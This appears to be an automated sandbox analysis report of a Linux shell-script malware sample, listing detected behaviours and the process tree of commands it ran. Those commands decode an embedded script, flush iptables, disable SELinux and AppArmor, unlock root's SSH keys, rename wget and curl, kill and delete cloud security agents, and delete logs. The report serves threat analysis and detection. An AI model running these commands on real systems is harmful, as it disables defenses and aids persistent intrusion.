Analysis
- max time kernel
149s - max time network
130s - platform
debian-9_mipsel - resource
debian9-mipsel-20260513-en - resource tags
arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
13/09/2026, 17:20
Static task
static1
Behavioral task
behavioral1
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh
Resource
debian9-mipsel-20260513-en
General
- Target be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh
- Size 845KB
- Sample260913-vwvtbsszhy
- SHA256 be0156bee255b9ec0d0a7930437bc214837602ae26d7561b0cf2c2b622ec161b
- MD5 b5a78f879b590f410420ac765ef01e7d
- SHA1 7b9c1e2a6f53885b77567487a8f24c8878eab0a0
- SHA512 12cde9244e764835976f18f38168bd2d99848061a8b0cbc4eaa702d83da272229aa55f8a57f65af917641f59b401839d04f2b9ae20c21be06bdda55f4d2ec22d
- SSDEEP 24576:V4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeG2:z/o8ZatHiw5ycMVmKkeG2
- TLSH T1DE053308E11B8C38ED0E3C8CE49FEFDC092520A28B95E1875A5534AE7E747DC817A75E
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Adds new SSH keys 1 TTPs 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
description ioc Process File opened for modification /root/.ssh/authorized_keys bash - File and Directory Permissions Modification 1 TTPs 9 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 746 chmod 2542 Process not Found 2548 Process not Found 2571 Process not Found 2577 Process not Found 748 chmod 749 chmod 2545 Process not Found 2579 Process not Found - Disables AppArmor Mandatory Access Control 1 TTPs 64 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
pid Process 2281 Process not Found 819 systemctl 843 systemctl 848 systemctl 2166 Process not Found 2177 Process not Found 2180 Process not Found 2290 Process not Found 815 systemctl 2089 Process not Found 2168 Process not Found 2308 Process not Found 2320 Process not Found 815 systemctl 2292 Process not Found 2294 Process not Found 2301 Process not Found 2281 Process not Found 2300 Process not Found 2310 Process not Found 822 systemctl 829 systemctl 845 systemctl 815 systemctl 2150 Process not Found 2168 Process not Found 2594 Process not Found 2281 Process not Found 2314 Process not Found 2157 Process not Found 2281 Process not Found 2309 Process not Found 787 systemctl 2158 Process not Found 2161 Process not Found 2311 Process not Found 787 systemctl 787 systemctl 2178 Process not Found 2301 Process not Found 787 systemctl 2167 Process not Found 2315 Process not Found 2301 Process not Found 815 systemctl 2164 Process not Found 2147 Process not Found 826 systemctl 841 systemctl 2289 Process not Found 2295 Process not Found 837 systemctl 2147 Process not Found 2293 Process not Found 2090 Process not Found 2147 Process not Found 2168 Process not Found 2168 Process not Found 2156 Process not Found 2284 Process not Found 2288 Process not Found 2291 Process not Found 2298 Process not Found 852 systemctl - Executes dropped EXE 1 IoCs
ioc pid Process /etc/zzh 2576 bash - Flushes firewall rules 1 TTPs 6 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 752 iptables 2583 Process not Found 2584 Process not Found 2585 Process not Found 2587 Process not Found 2589 Process not Found - Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process File opened for modification /etc/resolv.conf bash - Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/crontab bash File opened for modification /etc/cron.daily/logrotate bash File opened for modification /etc/cron.hourly/0anacron bash File opened for modification /etc/cron.d/zzh bash -
description ioc Process File truncated /var/log/wtmp bash File truncated /var/log/secure bash -
pid Process 1783 kill 1144 kill 1144 kill 1721 grep 1741 grep 786 setenforce 1144 kill 1144 kill 1783 kill 1783 kill 1783 kill 1783 kill 1783 kill 1144 kill 1144 kill 1297 grep 1409 grep - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.d/rc.local bash - Removes the immutable protection flag from a file 1 TTPs 64 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
pid Process 2248 Process not Found 1401 xargs 2228 Process not Found 1249 xargs 2196 Process not Found 2232 Process not Found 2559 Process not Found 971 chattr 1204 xargs 1328 xargs 1441 xargs 1461 xargs 2280 Process not Found 953 xargs 1122 xargs 1164 xargs 1294 xargs 1456 xargs 1630 xargs 1678 xargs 1807 xargs 1865 Process not Found 938 xargs 1733 xargs 1863 Process not Found 1903 Process not Found 2264 Process not Found 1364 xargs 1451 xargs 1595 xargs 1795 xargs 1797 xargs 1827 Process not Found 1837 Process not Found 2561 Process not Found 757 chattr 1001 xargs 1214 xargs 1259 xargs 1269 xargs 973 chattr 1244 xargs 1482 xargs 835 systemctl 1239 xargs 1560 xargs 1636 xargs 1869 Process not Found 2204 Process not Found 1683 xargs 1809 Process not Found 1875 Process not Found 2272 Process not Found 2179 Process not Found 2195 Process not Found 2560 Process not Found 1314 xargs 1333 xargs 1895 Process not Found 2224 Process not Found 2538 Process not Found 2553 Process not Found 758 chattr 963 xargs - Write file to user bin folder 6 IoCs
description ioc Process File opened for modification /usr/bin/pamdicks bash File opened for modification /usr/bin/ip6network bash File opened for modification /usr/bin/kswaped bash File opened for modification /usr/bin/irqbalanced bash File opened for modification /usr/bin/rctlcli bash File opened for modification /usr/bin/systemd-network bash - Writes file to system bin folder 6 IoCs
description ioc Process File opened for modification /bin/pstree bash File opened for modification /bin/pstree Process not Found File opened for modification /bin/ps bash File opened for modification /bin/ps Process not Found File opened for modification /bin/top bash File opened for modification /bin/top Process not Found - Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 732 base64 - Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1387 ps 1649 ps 1694 ps 929 ps 1225 ps 1245 ps 1339 ps 1417 ps 1541 ps 1134 ps 1230 ps 1447 ps 1452 ps 1467 ps 1590 ps 1596 ps 1175 ps 1205 ps 1584 ps 1661 ps 1139 ps 1200 ps 1150 ps 1195 ps 1516 ps 1572 ps 1472 ps 883 ps 905 ps 939 ps 1124 ps 1160 ps 1310 ps 1325 ps 1300 ps 1442 ps 1608 ps 2321 Process not Found 1422 ps 1673 ps 1462 ps 1679 ps 863 ps 1354 ps 1483 ps 1619 ps 1625 ps 1667 ps 784 ps 914 ps 1129 ps 1402 ps 1561 ps 954 ps 1215 ps 1255 ps 1684 ps 1170 ps 1185 ps 1614 ps 1315 ps 1190 ps 1240 ps 1536 ps - Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps - Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/384/cmdline ps File opened for reading /proc/164/cmdline ps File opened for reading /proc/160/stat ps File opened for reading /proc/384/cmdline ps File opened for reading /proc/17/status ps File opened for reading /proc/7/status Process not Found File opened for reading /proc/662/stat Process not Found File opened for reading /proc/719/stat ps File opened for reading /proc/5/status ps File opened for reading /proc/meminfo ps File opened for reading /proc/6/cmdline ps File opened for reading /proc/71/cmdline ps File opened for reading /proc/24/status ps File opened for reading /proc/717/status ps File opened for reading /proc/160/stat ps File opened for reading /proc/81/status ps File opened for reading /proc/14/status Process not Found File opened for reading /proc/stat ps File opened for reading /proc/1314/stat ps File opened for reading /proc/719/cmdline ps File opened for reading /proc/37/status ps File opened for reading /proc/180/status Process not Found File opened for reading /proc/84/status Process not Found File opened for reading /proc/160/cmdline Process not Found File opened for reading /proc/128/status Process not Found File opened for reading /proc/17/status ps File opened for reading /proc/160/stat ps File opened for reading /proc/19/status Process not Found File opened for reading /proc/sys/kernel/osrelease Process not Found File opened for reading /proc/81/status Process not Found File opened for reading /proc/362/status Process not Found File opened for reading /proc/716/cmdline Process not Found File opened for reading /proc/self/stat systemctl File opened for reading /proc/1360/cmdline ps File opened for reading /proc/7/cmdline ps File opened for reading /proc/8/stat ps File opened for reading /proc/339/cmdline ps File opened for reading /proc/7/status ps File opened for reading /proc/160/cmdline ps File opened for reading /proc/18/status Process not Found File opened for reading /proc/383/status ps File opened for reading /proc/111/status ps File opened for reading /proc/7/cmdline ps File opened for reading /proc/717/cmdline ps File opened for reading /proc/22/cmdline ps File opened for reading /proc/18/stat ps File opened for reading /proc/stat ps File opened for reading /proc/364/status ps File opened for reading /proc/22/cmdline ps File opened for reading /proc/1284/cmdline ps File opened for reading /proc/362/cmdline ps File opened for reading /proc/8/cmdline ps File opened for reading /proc/37/status Process not Found File opened for reading /proc/6/cmdline ps File opened for reading /proc/37/status Process not Found File opened for reading /proc/180/status Process not Found File opened for reading /proc/714/cmdline Process not Found File opened for reading /proc/247/cmdline Process not Found File opened for reading /proc/5/cmdline Process not Found File opened for reading /proc/15/status Process not Found File opened for reading /proc/14/status Process not Found File opened for reading /proc/681/stat ps File opened for reading /proc/160/status ps File opened for reading /proc/6/cmdline ps - System Network Configuration Discovery 1 TTPs 8 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1538 grep 2047 Process not Found 2590 Process not Found 719 be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh 968 chattr 974 chattr 1292 grep 1322 grep - Writes file to tmp directory 10 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sh-thd.NBMBOK be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh File opened for modification /tmp/kdevtmpfsi bash File opened for modification /tmp/svcupdate bash File opened for modification /tmp/tmp.fe2gafxv1L/embedded.sh be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh File opened for modification /tmp/dev/null bash File opened for modification /tmp/svcguard bash File opened for modification /tmp/fileutl.message.Uqr4hn Process not Found File opened for modification /tmp/fileutl.message.wHi4BB Process not Found File opened for modification /tmp/fileutl.message.w4gHpS Process not Found File opened for modification /tmp/fileutl.message.UfJj8b Process not Found
Processes
-
/tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh/tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_offset-manipulation.sh1⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:719 -
/bin/mktempmktemp -d2⤵PID:729
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
PID:732
-
-
/usr/bin/python3python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "2⤵PID:733
-
-
/bin/chmodchmod +x /tmp/tmp.fe2gafxv1L/embedded.sh2⤵
- File and Directory Permissions Modification
PID:746
-
-
/bin/bashbash /tmp/tmp.fe2gafxv1L/embedded.sh1⤵
- Adds new SSH keys
- Executes dropped EXE
- Writes DNS configuration
- Creates/modifies Cron job
- Deletes log files
- Modifies rc script
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
PID:719 -
/bin/chmodchmod 777 /usr/bin/chattr2⤵
- File and Directory Permissions Modification
PID:748
-
-
/bin/chmodchmod 777 /bin/chattr2⤵
- File and Directory Permissions Modification
PID:749
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:750
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:751
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:752
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵
- Removes the immutable protection flag from a file
PID:757
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵
- Removes the immutable protection flag from a file
PID:758
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:759
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:760
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:761
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:762
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:763
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:764
-
-
/bin/syncsync2⤵PID:766
-
-
/bin/catcat /var/spool/cron/2⤵PID:767
-
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:768
-
-
/bin/mvmv /usr/bin/wgettnt /usr/bin/wd12⤵PID:769
-
-
/bin/mvmv /usr/bin/curltnt /usr/bin/cd12⤵PID:770
-
-
/bin/mvmv /usr/bin/wget1 /usr/bin/wd12⤵PID:771
-
-
/bin/mvmv /usr/bin/curl1 /usr/bin/cd12⤵PID:772
-
-
/bin/mvmv /usr/bin/cur /usr/bin/cd12⤵PID:773
-
-
/bin/mvmv /usr/bin/cdl /usr/bin/cd12⤵PID:774
-
-
/bin/mvmv /usr/bin/cdt /usr/bin/cd12⤵PID:775
-
-
/bin/mvmv /usr/bin/xget /usr/bin/wd12⤵PID:776
-
-
/bin/mvmv /usr/bin/wge /usr/bin/wd12⤵PID:777
-
-
/bin/mvmv /usr/bin/wdl /usr/bin/wd12⤵PID:778
-
-
/bin/mvmv /usr/bin/wdt /usr/bin/wd12⤵PID:779
-
-
/bin/mvmv /usr/bin/wget /usr/bin/wd12⤵PID:780
-
-
/bin/mvmv /usr/bin/curl /usr/bin/cd12⤵PID:781
-
-
/bin/psps aux2⤵PID:782
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:783
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:785
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:784
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:786
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:787
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:788
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:789
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:790
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Enumerates kernel/hardware configuration
PID:792
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:793
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:794
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:795
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:796
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:797
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:798
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:799
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:800
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:801
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:803
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:805
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:808
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:809
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:787
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:787
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:787
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵PID:787
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵PID:787
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:787
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Enumerates kernel/hardware configuration
PID:813
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵PID:815
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:816
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:817
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:819
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:823
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:822
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor Mandatory Access Control
PID:826
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:829
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:831
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:833
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Removes the immutable protection flag from a file
PID:835
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:837
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Reads runtime system information
PID:839
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:841
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:843
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor Mandatory Access Control
PID:845
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:848
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:850
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:815
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵PID:815
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:815
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:815
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:815
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:815
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor Mandatory Access Control
PID:852
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:858
-
-
/bin/grepgrep -v grep2⤵PID:856
-
-
/bin/grepgrep aegis2⤵PID:857
-
-
/bin/psps aux2⤵PID:855
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:859
-
-
/bin/grepgrep Yun2⤵PID:865
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:866
-
-
/bin/grepgrep -v grep2⤵PID:864
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:863
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:867
-
-
/bin/psps aux2⤵PID:869
-
-
/bin/grepgrep -v grep2⤵PID:870
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:872
-
-
/bin/grepgrep aegis2⤵PID:871
-
-
/usr/bin/xargsxargs dirname2⤵PID:873
-
/usr/local/sbin/dirnamedirname3⤵PID:878
-
-
/usr/local/bin/dirnamedirname3⤵PID:878
-
-
/usr/sbin/dirnamedirname3⤵PID:878
-
-
/usr/bin/dirnamedirname3⤵PID:878
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:874
-
/usr/local/sbin/rmrm -rf3⤵PID:882
-
-
/usr/local/bin/rmrm -rf3⤵PID:882
-
-
/usr/sbin/rmrm -rf3⤵PID:882
-
-
/usr/bin/rmrm -rf3⤵PID:882
-
-
/sbin/rmrm -rf3⤵PID:882
-
-
/bin/rmrm -rf3⤵PID:882
-
-
-
/bin/grepgrep hids2⤵PID:885
-
-
/bin/grepgrep -v grep2⤵PID:884
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:883
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:886
-
-
/usr/bin/xargsxargs dirname2⤵PID:887
-
/usr/local/sbin/dirnamedirname3⤵PID:891
-
-
/usr/local/bin/dirnamedirname3⤵PID:891
-
-
/usr/sbin/dirnamedirname3⤵PID:891
-
-
/usr/bin/dirnamedirname3⤵PID:891
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:888
-
/usr/local/sbin/rmrm -rf3⤵PID:893
-
-
/usr/local/bin/rmrm -rf3⤵PID:893
-
-
/usr/sbin/rmrm -rf3⤵PID:893
-
-
/usr/bin/rmrm -rf3⤵PID:893
-
-
/sbin/rmrm -rf3⤵PID:893
-
-
/bin/rmrm -rf3⤵PID:893
-
-
-
/bin/grepgrep cloudwalker2⤵PID:896
-
-
/bin/grepgrep -v grep2⤵PID:895
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:897
-
-
/bin/psps aux2⤵PID:894
-
-
/usr/bin/xargsxargs dirname2⤵PID:898
-
/usr/local/sbin/dirnamedirname3⤵PID:902
-
-
/usr/local/bin/dirnamedirname3⤵PID:902
-
-
/usr/sbin/dirnamedirname3⤵PID:902
-
-
/usr/bin/dirnamedirname3⤵PID:902
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:899
-
/usr/local/sbin/rmrm -rf3⤵PID:904
-
-
/usr/local/bin/rmrm -rf3⤵PID:904
-
-
/usr/sbin/rmrm -rf3⤵PID:904
-
-
/usr/bin/rmrm -rf3⤵PID:904
-
-
/sbin/rmrm -rf3⤵PID:904
-
-
